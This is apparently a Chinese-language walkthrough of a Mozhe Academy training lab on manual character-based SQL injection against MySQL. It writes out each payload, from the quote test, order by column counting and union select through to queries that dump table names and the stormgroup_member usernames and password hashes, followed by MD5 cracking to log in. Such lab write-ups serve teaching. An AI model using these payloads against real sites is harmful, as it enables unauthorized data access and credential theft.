墨者学院—— SQL手工注入漏洞测试(MySQL数据库-字符型)题解
首先我们根据背景介绍可知:
PHP代码未对用户提交的参数进行过滤,我们便可以试试SQL漏洞(虽然题目已经说明是字符型的SQL注入漏洞)
打开靶机,我们发现密码栏下面的公告可以点击,发现公告网页的URL有可疑的注入点,开始进行尝试:
第一步:
我们对 id=tingjigonggao 后面输入一个单引号 " ’ " ,发现网页返回错误,判断出存在字符型注入漏洞;
第二步:
使用order by 语句来判断列数:
id=tingjigonggao’ order by 1 --+(作用是注释掉后面的语句) | 不报错 |
---|---|
···以此类推 | |
id=tingjigonggao’ order by 4 --+ | 不报错 |
id=tingjigonggao’ order by 5 --+ | 报错 |
说明有4列;
第三步:
接着使用union select语句进行回显,看看有什么地方是可以改动的:
注意!不是 id=tingjigonggao’ union select 1,2,3,4 --+ 而是 id=X’ union select 1,2,3,4 --+;X指的是任何查询失败的数据,当然直接为空最直接,因为联合查询中前面得到了结果就不会执行后面的了(https://blog.csdn.net/weixin_42277564/article/details/80583959
可以看出回显位2,3是可以改动的地方;
第四步
通过 id=' union select 1,database(),3,4 --+
得到库名:
第五步
通过id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='mozhe_discuz_stormgroup'),3,4--+
得到表名:
有两个表:notice和stormgroup_member;
第六步
通过id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='notice'),(select group_concat(column_name) from information_schema.columns where table_name='stormgroup_member'),4--+
得到表的字段名:
第七步
通过id='union select 1,group_concat(name),group_concat(password),4 from stormgroup_member --+
得到用户名和密码:
最后一步
将密码通过MD5解密得出明文密码,登录即得key:
结束语:这是抬锅整理出来的题解希望能对大家有帮助☺